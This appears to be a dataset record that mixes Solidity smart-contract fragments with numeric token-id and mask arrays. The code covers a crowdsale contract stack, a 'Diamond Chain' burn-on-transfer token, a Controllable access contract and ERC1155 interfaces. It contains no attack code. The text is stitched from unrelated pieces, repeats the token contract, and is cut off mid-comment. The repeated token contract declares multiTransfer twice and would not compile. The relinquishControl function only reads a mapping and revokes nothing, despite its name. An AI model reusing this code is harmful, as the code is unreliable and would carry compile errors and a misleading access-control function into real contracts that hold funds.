IERC20Upgradeable(tokenAddress).approve(_spender, _amount); } uint256[997] private __safe_upgrade_gap; }
11,630,514
[ 1, 7087, 4547, 1758, 2660, 30, 1410, 732, 1221, 716, 3238, 19, 7236, 35, 4822, 316, 3974, 364, 1492, 326, 1311, 854, 923, 16, 1839, 6710, 1410, 732, 4862, 279, 10648, 618, 999, 5242, 16189, 35, 6205, 316, 732, 77, 434, 326, 1024, 498, 2660, 30, 1699, 2865, 364, 279, 498, 5147, 19278, 1492, 3377, 444, 19827, 18373, 4238, 1300, 434, 1311, 272, 1673, 309, 326, 498, 7391, 31546, 353, 1071, 432, 1056, 434, 3661, 4906, 394, 498, 5405, 343, 3304, 1915, 1240, 2118, 1021, 2236, 1492, 903, 6798, 284, 19156, 603, 598, 9446, 287, 1021, 15030, 1794, 364, 924, 1269, 316, 10853, 3143, 18, 2176, 9153, 999, 358, 866, 501, 1177, 261, 9665, 358, 331, 2163, 13, 3455, 3298, 434, 3661, 4906, 498, 279, 2202, 1758, 848, 999, 261, 9665, 358, 331, 2163, 13, 1245, 1898, 3953, 261, 9665, 358, 331, 2499, 13, 9606, 358, 866, 309, 501, 2 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
[ 1, 95, 203, 225, 1450, 5267, 10784, 429, 364, 1758, 31, 203, 203, 225, 871, 3423, 9446, 287, 12, 203, 565, 1758, 8808, 5793, 16, 203, 565, 1758, 8808, 1147, 1887, 16, 203, 565, 1758, 8808, 27641, 74, 14463, 814, 16, 203, 565, 2254, 3844, 203, 225, 11272, 203, 203, 225, 871, 453, 1512, 310, 5033, 12, 203, 565, 2254, 1592, 653, 5147, 16, 203, 565, 2254, 498, 5147, 16, 203, 565, 1758, 1592, 1345, 1887, 16, 203, 565, 1758, 1147, 1887, 203, 225, 11272, 203, 203, 225, 871, 12279, 12, 2867, 8808, 628, 16, 1758, 8808, 358, 16, 2254, 5034, 8808, 1147, 548, 1769, 203, 203, 225, 871, 1716, 685, 1125, 12, 2867, 8808, 3410, 16, 1758, 8808, 20412, 16, 2254, 5034, 8808, 1147, 548, 1769, 203, 203, 225, 871, 1716, 685, 1125, 1290, 1595, 12, 2867, 8808, 3410, 16, 1758, 8808, 3726, 16, 1426, 20412, 1769, 203, 203, 225, 467, 7087, 1071, 7186, 5752, 31, 203, 203, 225, 2254, 1071, 7686, 5326, 31, 203, 203, 225, 2254, 1071, 498, 5147, 31, 203, 203, 225, 2254, 1071, 943, 9226, 2396, 31, 203, 203, 225, 2254, 2713, 389, 4963, 3088, 1283, 31, 203, 203, 225, 1758, 8843, 429, 1071, 27641, 74, 14463, 814, 31, 203, 203, 225, 2254, 2713, 5381, 28143, 15664, 67, 8941, 55, 67, 13296, 273, 12619, 31, 203, 203, 225, 467, 2531, 653, 23164, 5394, 1071, 603, 653, 23164, 5394, 31, 203, 225, 467, 2531, 653, 6691, 5394, 1071, 603, 653, 6691, 5394, 31, 203, 225, 467, 2531, 1556, 653, 5394, 1071, 2 ]
/** *Submitted for verification at Etherscan.io on 2019-08-03 */ pragma solidity >=0.5.0 <0.7.0; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } function ceil(uint256 a, uint256 m) internal pure returns (uint256) { uint256 c = add(a,m); uint256 d = sub(c,1); return mul(div(d,m),m); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } library Address { function isContract(address account) internal view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if(returndata.length > 0){ require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ReentrancyGuard { uint256 private _guardCounter; constructor () internal { _guardCounter = 1; } modifier nonReentrant() { _guardCounter += 1; uint256 localCounter = _guardCounter; _; require(localCounter == _guardCounter, "ReentrancyGuard: reentrant call"); } } contract Crowdsale is ReentrancyGuard { using SafeMath for uint256; using SafeERC20 for IERC20; // The token being sold IERC20 private _token; // Address where funds are collected address payable private _wallet; uint256 private _rate; // Amount of wei raised uint256 private _weiRaised; event TokensPurchased(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); constructor (uint256 rate, address payable wallet, IERC20 token) public { require(rate > 0, "Crowdsale: rate is 0"); require(wallet != address(0), "Crowdsale: wallet is the zero address"); require(address(token) != address(0), "Crowdsale: token is the zero address"); _rate = rate; _wallet = wallet; _token = token; } function () external payable { buyTokens(msg.sender); } function token() public view returns (IERC20) { return _token; } function wallet() public view returns (address payable) { return _wallet; } function rate() public view returns (uint256) { return _rate; } function weiRaised() public view returns (uint256) { return _weiRaised; } function buyTokens(address beneficiary) public nonReentrant payable { uint256 weiAmount = msg.value; _preValidatePurchase(beneficiary, weiAmount); // calculate token amount to be created uint256 tokens = _getTokenAmount(weiAmount); // update state _weiRaised = _weiRaised.add(weiAmount); _processPurchase(beneficiary, tokens); emit TokensPurchased(msg.sender, beneficiary, weiAmount, tokens); _updatePurchasingState(beneficiary, weiAmount); _forwardFunds(); _postValidatePurchase(beneficiary, weiAmount); } function _preValidatePurchase(address beneficiary, uint256 weiAmount) internal view { require(beneficiary != address(0), "Crowdsale: beneficiary is the zero address"); require(weiAmount != 0, "Crowdsale: weiAmount is 0"); } function _postValidatePurchase(address beneficiary, uint256 weiAmount) internal view { // solhint-disable-previous-line no-empty-blocks } function _deliverTokens(address beneficiary, uint256 tokenAmount) internal { _token.safeTransfer(beneficiary, tokenAmount); } function _processPurchase(address beneficiary, uint256 tokenAmount) internal { _deliverTokens(beneficiary, tokenAmount); } function _updatePurchasingState(address beneficiary, uint256 weiAmount) internal { // solhint-disable-previous-line no-empty-blocks } function _getTokenAmount(uint256 weiAmount) internal view returns (uint256) { return weiAmount.mul(_rate); } function _forwardFunds() internal { _wallet.transfer(msg.value); } } contract CappedCrowdsale is Crowdsale { using SafeMath for uint256; uint256 private _cap; constructor (uint256 cap) public { require(cap > 0, "CappedCrowdsale: cap is 0"); _cap = cap; } function cap() public view returns (uint256) { return _cap; } function capReached() public view returns (bool) { return weiRaised() >= _cap; } function _preValidatePurchase(address beneficiary, uint256 weiAmount) internal view { super._preValidatePurchase(beneficiary, weiAmount); require(weiRaised().add(weiAmount) <= _cap, "CappedCrowdsale: cap exceeded"); } } contract TimedCrowdsale is Crowdsale { using SafeMath for uint256; uint256 private _openingTime; uint256 private _closingTime; event TimedCrowdsaleExtended(uint256 prevClosingTime, uint256 newClosingTime); modifier onlyWhileOpen { require(isOpen(), "TimedCrowdsale: not open"); _; } constructor (uint256 openingTime, uint256 closingTime) public { require(openingTime >= block.timestamp, "TimedCrowdsale: opening time is before current time"); require(closingTime > openingTime, "TimedCrowdsale: opening time is not before closing time"); _openingTime = openingTime; _closingTime = closingTime; } function openingTime() public view returns (uint256) { return _openingTime; } function closingTime() public view returns (uint256) { return _closingTime; } function isOpen() public view returns (bool) { return block.timestamp >= _openingTime && block.timestamp <= _closingTime; } function hasClosed() public view returns (bool) { return block.timestamp > _closingTime; } function _preValidatePurchase(address beneficiary, uint256 weiAmount) internal onlyWhileOpen view { super._preValidatePurchase(beneficiary, weiAmount); } function _extendTime(uint256 newClosingTime) internal { require(!hasClosed(), "TimedCrowdsale: already closed"); require(newClosingTime > _closingTime, "TimedCrowdsale: new closing time is before current closing time"); emit TimedCrowdsaleExtended(_closingTime, newClosingTime); _closingTime = newClosingTime; } } contract FinalizableCrowdsale is TimedCrowdsale { using SafeMath for uint256; bool private _finalized; event CrowdsaleFinalized(); constructor () internal { _finalized = false; } function finalized() public view returns (bool) { return _finalized; } function finalize() public { require(!_finalized, "FinalizableCrowdsale: already finalized"); require(hasClosed(), "FinalizableCrowdsale: not closed"); _finalized = true; _finalization(); emit CrowdsaleFinalized(); } function _finalization() internal { } } contract Secondary { address private _primary; event PrimaryTransferred( address recipient ); constructor () internal { _primary = msg.sender; emit PrimaryTransferred(_primary); } modifier onlyPrimary() { require(msg.sender == _primary, "Secondary: caller is not the primary account"); _; } function primary() public view returns (address) { return _primary; } function transferPrimary(address recipient) public onlyPrimary { require(recipient != address(0), "Secondary: new primary is the zero address"); _primary = recipient; emit PrimaryTransferred(_primary); } } contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 value) public returns (bool) { _approve(msg.sender, spender, value); return true; } function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount)); return true; } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue)); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 value) internal { require(account != address(0), "ERC20: burn from the zero address"); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } function _approve(address owner, address spender, uint256 value) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = value; emit Approval(owner, spender, value); } function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, msg.sender, _allowances[account][msg.sender].sub(amount)); } } library Roles { struct Role { mapping (address => bool) bearer; } function add(Role storage role, address account) internal { require(!has(role, account), "Roles: account already has role"); role.bearer[account] = true; } function remove(Role storage role, address account) internal { require(has(role, account), "Roles: account does not have role"); role.bearer[account] = false; } function has(Role storage role, address account) internal view returns (bool) { require(account != address(0), "Roles: account is the zero address"); return role.bearer[account]; } } contract MinterRole { using Roles for Roles.Role; event MinterAdded(address indexed account); event MinterRemoved(address indexed account); Roles.Role private _minters; constructor () internal { _addMinter(msg.sender); } modifier onlyMinter() { require(isMinter(msg.sender), "MinterRole: caller does not have the Minter role"); _; } function isMinter(address account) public view returns (bool) { return _minters.has(account); } function addMinter(address account) public onlyMinter { _addMinter(account); } function renounceMinter() public { _removeMinter(msg.sender); } function _addMinter(address account) internal { _minters.add(account); emit MinterAdded(account); } function _removeMinter(address account) internal { _minters.remove(account); emit MinterRemoved(account); } } contract ERC20Mintable is ERC20, MinterRole { function mint(address account, uint256 amount) public onlyMinter returns (bool) { _mint(account, amount); return true; } } contract MintedCrowdsale is Crowdsale { function _deliverTokens(address beneficiary, uint256 tokenAmount) internal { // Potentially dangerous assumption about the type of the token. require( ERC20Mintable(address(token())).mint(beneficiary, tokenAmount), "MintedCrowdsale: minting failed" ); } } library Math { function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } contract AllowanceCrowdsale is Crowdsale { using SafeMath for uint256; using SafeERC20 for IERC20; address private _tokenWallet; constructor (address tokenWallet) public { require(tokenWallet != address(0), "AllowanceCrowdsale: token wallet is the zero address"); _tokenWallet = tokenWallet; } function tokenWallet() public view returns (address) { return _tokenWallet; } function remainingTokens() public view returns (uint256) { return Math.min(token().balanceOf(_tokenWallet), token().allowance(_tokenWallet, address(this))); } function _deliverTokens(address beneficiary, uint256 tokenAmount) internal { token().safeTransferFrom(_tokenWallet, beneficiary, tokenAmount); } } contract DICCrowdsale is Crowdsale, MintedCrowdsale, AllowanceCrowdsale { //RefundableCrowdsale (hapus dulu) //CappedCrowdsale, constructor ( uint256 rate, address payable wallet, ERC20Mintable token, address tokenWallet ) public MintedCrowdsale() Crowdsale(rate, wallet, token) AllowanceCrowdsale(tokenWallet) { //kosong } } /** SMART CONTRACT DIC */ contract DiamondChain is ERC20Detailed, ERC20Mintable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; string constant tokenName = "Diamond Chain"; string constant tokenSymbol = "DIC"; uint8 constant tokenDecimals = 3; uint256 _totalSupply = 1000000 * (10 ** uint256(tokenDecimals)); uint256 public basePercent = 100; constructor() public payable ERC20Detailed(tokenName, tokenSymbol, tokenDecimals) { _issue(msg.sender, _totalSupply); } function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } function allowance(address owner, address spender) public view returns (uint256) { return _allowed[owner][spender]; } function cut(uint256 value) public view returns (uint256) { uint256 roundValue = value.ceil(basePercent); uint256 cutValue = roundValue.mul(basePercent).div(15000); return cutValue; } function transfer(address to, uint256 value) public returns (bool) { require(value <= _balances[msg.sender]); require(to != address(0)); uint256 tokensToBurn = cut(value); uint256 tokensToTransfer = value.sub(tokensToBurn); _balances[msg.sender] = _balances[msg.sender].sub(value); _balances[to] = _balances[to].add(tokensToTransfer); _totalSupply = _totalSupply.sub(tokensToBurn); emit Transfer(msg.sender, to, tokensToTransfer); emit Transfer(msg.sender, address(0), tokensToBurn); return true; } function multiTransfer(address[] memory receivers, uint256[] memory amounts) public { for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); } } function approve(address spender, uint256 value) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } function transferFrom(address from, address to, uint256 value) public returns (bool) { require(value <= _balances[from]); require(value <= _allowed[from][msg.sender]); require(to != address(0)); _balances[from] = _balances[from].sub(value); uint256 tokensToBurn = cut(value); uint256 tokensToTransfer = value.sub(tokensToBurn); _balances[to] = _balances[to].add(tokensToTransfer); _totalSupply = _totalSupply.sub(tokensToBurn); _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value); emit Transfer(from, to, tokensToTransfer); emit Transfer(from, address(0), tokensToBurn); return true; } function upAllowance(address spender, uint256 addedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = (_allowed[msg.sender][spender].add(addedValue)); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } function downAllowance(address spender, uint256 subtractedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = (_allowed[msg.sender][spender].sub(subtractedValue)); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } function _issue(address account, uint256 amount) internal { require(amount != 0); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function destroy(uint256 amount) external { _destroy(msg.sender, amount); } function _destroy(address account, uint256 amount) internal { require(amount != 0); require(amount <= _balances[account]); _totalSupply = _totalSupply.sub(amount); _balances[account] = _balances[account].sub(amount); emit Transfer(account, address(0), amount); } function destroyFrom(address account, uint256 amount) external { require(amount <= _allowed[account][msg.sender]); _allowed[account][msg.sender] = _allowed[account][msg.sender].sub(amount); _destroy(account, amount); } }
* SMART CONTRACT DIC */
contract DiamondChain is ERC20Detailed, ERC20Mintable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; string constant tokenName = "Diamond Chain"; string constant tokenSymbol = "DIC"; uint8 constant tokenDecimals = 3; uint256 _totalSupply = 1000000 * (10 ** uint256(tokenDecimals)); uint256 public basePercent = 100; constructor() public payable ERC20Detailed(tokenName, tokenSymbol, tokenDecimals) { _issue(msg.sender, _totalSupply); } function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } function allowance(address owner, address spender) public view returns (uint256) { return _allowed[owner][spender]; } function cut(uint256 value) public view returns (uint256) { uint256 roundValue = value.ceil(basePercent); uint256 cutValue = roundValue.mul(basePercent).div(15000); return cutValue; } function transfer(address to, uint256 value) public returns (bool) { require(value <= _balances[msg.sender]); require(to != address(0)); uint256 tokensToBurn = cut(value); uint256 tokensToTransfer = value.sub(tokensToBurn); _balances[msg.sender] = _balances[msg.sender].sub(value); _balances[to] = _balances[to].add(tokensToTransfer); _totalSupply = _totalSupply.sub(tokensToBurn); emit Transfer(msg.sender, to, tokensToTransfer); emit Transfer(msg.sender, address(0), tokensToBurn); return true; } function multiTransfer(address[] memory receivers, uint256[] memory amounts) public { for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); } } function multiTransfer(address[] memory receivers, uint256[] memory amounts) public { for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); } } function approve(address spender, uint256 value) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } function transferFrom(address from, address to, uint256 value) public returns (bool) { require(value <= _balances[from]); require(value <= _allowed[from][msg.sender]); require(to != address(0)); _balances[from] = _balances[from].sub(value); uint256 tokensToBurn = cut(value); uint256 tokensToTransfer = value.sub(tokensToBurn); _balances[to] = _balances[to].add(tokensToTransfer); _totalSupply = _totalSupply.sub(tokensToBurn); _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value); emit Transfer(from, to, tokensToTransfer); emit Transfer(from, address(0), tokensToBurn); return true; } function upAllowance(address spender, uint256 addedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = (_allowed[msg.sender][spender].add(addedValue)); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } function downAllowance(address spender, uint256 subtractedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = (_allowed[msg.sender][spender].sub(subtractedValue)); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } function _issue(address account, uint256 amount) internal { require(amount != 0); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function destroy(uint256 amount) external { _destroy(msg.sender, amount); } function _destroy(address account, uint256 amount) internal { require(amount != 0); require(amount <= _balances[account]); _totalSupply = _totalSupply.sub(amount); _balances[account] = _balances[account].sub(amount); emit Transfer(account, address(0), amount); } function destroyFrom(address account, uint256 amount) external { require(amount <= _allowed[account][msg.sender]); _allowed[account][msg.sender] = _allowed[account][msg.sender].sub(amount); _destroy(account, amount); } }
15,810,890
[ 1, 7303, 4928, 8020, 2849, 1268, 28295, 225, 342, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 12508, 301, 1434, 3893, 353, 4232, 39, 3462, 40, 6372, 16, 4232, 39, 3462, 49, 474, 429, 288, 203, 203, 225, 1450, 14060, 10477, 364, 2254, 5034, 31, 203, 225, 2874, 261, 2867, 516, 2254, 5034, 13, 3238, 389, 70, 26488, 31, 203, 225, 2874, 261, 2867, 516, 2874, 261, 2867, 516, 2254, 5034, 3719, 3238, 389, 8151, 31, 203, 203, 225, 533, 5381, 1147, 461, 273, 315, 14521, 301, 1434, 7824, 14432, 203, 225, 533, 5381, 1147, 5335, 273, 315, 2565, 39, 14432, 203, 225, 2254, 28, 225, 5381, 1147, 31809, 273, 890, 31, 203, 225, 2254, 5034, 389, 4963, 3088, 1283, 273, 15088, 380, 261, 2163, 2826, 2254, 5034, 12, 2316, 31809, 10019, 203, 225, 2254, 5034, 1071, 1026, 8410, 273, 2130, 31, 203, 203, 225, 3885, 1435, 1071, 8843, 429, 4232, 39, 3462, 40, 6372, 12, 2316, 461, 16, 1147, 5335, 16, 1147, 31809, 13, 288, 203, 565, 389, 13882, 12, 3576, 18, 15330, 16, 389, 4963, 3088, 1283, 1769, 203, 225, 289, 203, 203, 225, 445, 2078, 3088, 1283, 1435, 1071, 1476, 1135, 261, 11890, 5034, 13, 288, 203, 565, 327, 389, 4963, 3088, 1283, 31, 203, 225, 289, 203, 203, 225, 445, 11013, 951, 12, 2867, 3410, 13, 1071, 1476, 1135, 261, 11890, 5034, 13, 288, 203, 565, 327, 389, 70, 26488, 63, 8443, 15533, 203, 225, 289, 203, 203, 225, 445, 1699, 1359, 12, 2867, 3410, 16, 1758, 17571, 264, 13, 1071, 1476, 1135, 261, 11890, 5034, 13, 288, 203, 565, 327, 389, 8151, 63, 8443, 6362, 2 ]
// SPDX-License-Identifier: MIT pragma solidity >=0.7.0; import "../interfaces/IControllable.sol"; abstract contract Controllable is IControllable { mapping(address => bool) _controllers; /** * @dev Throws if called by any account not in authorized list */ modifier onlyController() { require( _controllers[msg.sender] == true || address(this) == msg.sender, "Controllable: caller is not a controller" ); _; } /** * @dev Add an address allowed to control this contract */ function _addController(address _controller) internal { _controllers[_controller] = true; } /** * @dev Add an address allowed to control this contract */ function addController(address _controller) external override onlyController { _controllers[_controller] = true; } /** * @dev Check if this address is a controller */ function isController(address _address) external view override returns (bool allowed) { allowed = _controllers[_address]; } /** * @dev Check if this address is a controller */ function relinquishControl() external view override onlyController { _controllers[msg.sender]; } } // SPDX-License-Identifier: MIT pragma solidity >=0.7.0; interface IControllable { event ControllerAdded(address indexed contractAddress, address indexed controllerAddress); event ControllerRemoved(address indexed contractAddress, address indexed controllerAddress); function addController(address controller) external; function isController(address controller) external view returns (bool); function relinquishControl() external; } // SPDX-License-Identifier: MIT pragma solidity >=0.7.0; import "./IERC165.sol"; /** * @dev Required interface of an ERC1155 compliant contract, as defined in the * https://eips.ethereum.org/EIPS/eip-1155[EIP]. * * _Available since v3.1._ */ interface IERC1155 is IERC165 { /** * @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`. */ event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value); /** * @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all * transfers. */ event TransferBatch( address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] values ); /** * @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to * `approved`. */ event ApprovalForAll(address indexed account, address indexed operator, bool approved); /** * @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI. * * If an {URI} event was emitted for `id`, the standard * https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value * returned by {IERC1155MetadataURI-uri}. */ event URI(string value, uint256 indexed id); /** * @dev Returns the amount of tokens of token type `id` owned by `account`. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) external view returns (uint256); /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) external view returns (uint256[] memory); /** * @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`, * * Emits an {ApprovalForAll} event. * * Requirements: * * - `operator` cannot be the caller. */ function setApprovalForAll(address operator, bool approved) external; /** * @dev Returns true if `operator` is approved to transfer ``account``'s tokens. * * See {setApprovalForAll}. */ function isApprovedForAll(address account, address operator) external view returns (bool); /** * @dev Transfers `amount` tokens of token type `id` from `from` to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}. * - `from` must have a balance of tokens of type `id` of at least `amount`. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes calldata data ) external; /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}. * * Emits a {TransferBatch} event. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function safeBatchTransferFrom( address from, address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data ) external; } // SPDX-License-Identifier: MIT pragma solidity >=0.7.0; import "./IERC1155.sol"; /** * @dev Interface of the optional ERC1155MetadataExtension interface, as defined * in the https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[EIP]. * * _Available since v3.1._ */ interface IERC1155MetadataURI is IERC1155 { /** * @dev Returns the URI for token type `id`. * * If the `\{id\}` substring is present in the URI, it must be replaced by * clients with the actual token type ID. */ function uri(uint256 id) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity >=0.7.0; import "../interfaces/IERC165.sol"; /** * _Available since v3.1._ */ interface IERC1155Receiver is IERC165 { /** @dev Handles the receipt of a single ERC1155 token type. This function is called at the end of a `safeTransferFrom` after the balance has been updated. To accept the transfer, this must return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` (i.e. 0xf23a6e61, or its own function selector). @param operator The address which initiated the transfer (i.e. msg.sender) @param from The address which previously owned the token @param id The ID of the token being transferred @param value The amount of tokens being 